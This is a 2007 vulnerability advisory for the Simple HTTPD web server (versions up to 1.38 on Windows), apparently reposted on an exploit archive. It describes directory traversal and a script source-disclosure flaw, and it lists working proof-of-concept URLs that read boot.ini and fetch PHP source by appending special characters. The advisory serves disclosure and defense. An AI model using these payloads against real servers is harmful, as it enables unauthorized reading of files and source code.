Simple HTTPD <= 1.38 Multiple Remote Vulnerabilities

====================================================
Simple HTTPD <= 1.38 Multiple Remote Vulnerabilities
====================================================

#######################################################################

                             Luigi Auriemma

Application:  Simple HTTPD
              http://shttpd.sourceforge.net
Versions:     <= 1.38
Platforms:    Windows, *nix, QNX, RTEMS
              only Windows seems vulnerable
Bugs:         A] directory traversal
              B] scripts and CGI viewing/downloading
                 (%20 char found by Shay priel in Jun 2007)
Exploitation: remote
Date:         07 Dec 2007
Author:       Luigi Auriemma
              e-mail: [email protected]
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Simple HTTPD (shttpd) is an open source web server created for embedded
systems.


#######################################################################

=======
2) Bugs
=======

----------------------
A] directory traversal
----------------------

Using the "..\" pattern is possible to download any file in the disk on
which is located the web root directory.


--------------------------------------
B] scripts and CGI viewing/downloading
--------------------------------------

Any script or CGI in the server can be viewed/downloaded instead of
being executed simply appending the chars '+', '.', %20 (this one
reported by Shay priel in the summer 2007), %2e and any other byte (in
hex format too) major than 0x7f to the requested filename.


Note that only Windows seems vulnerable to the above bugs.


#######################################################################

===========
3) The Code
===========


A]
http://SERVER/..\..\..\boot.ini
http://SERVER/..\%2e%2e%5c..\boot.ini

B]
http://SERVER/file.php+
http://SERVER/file.php.
http://SERVER/file.php%80
http://SERVER/file.php%ff


#######################################################################



#  0day.today [2018-03-10]  #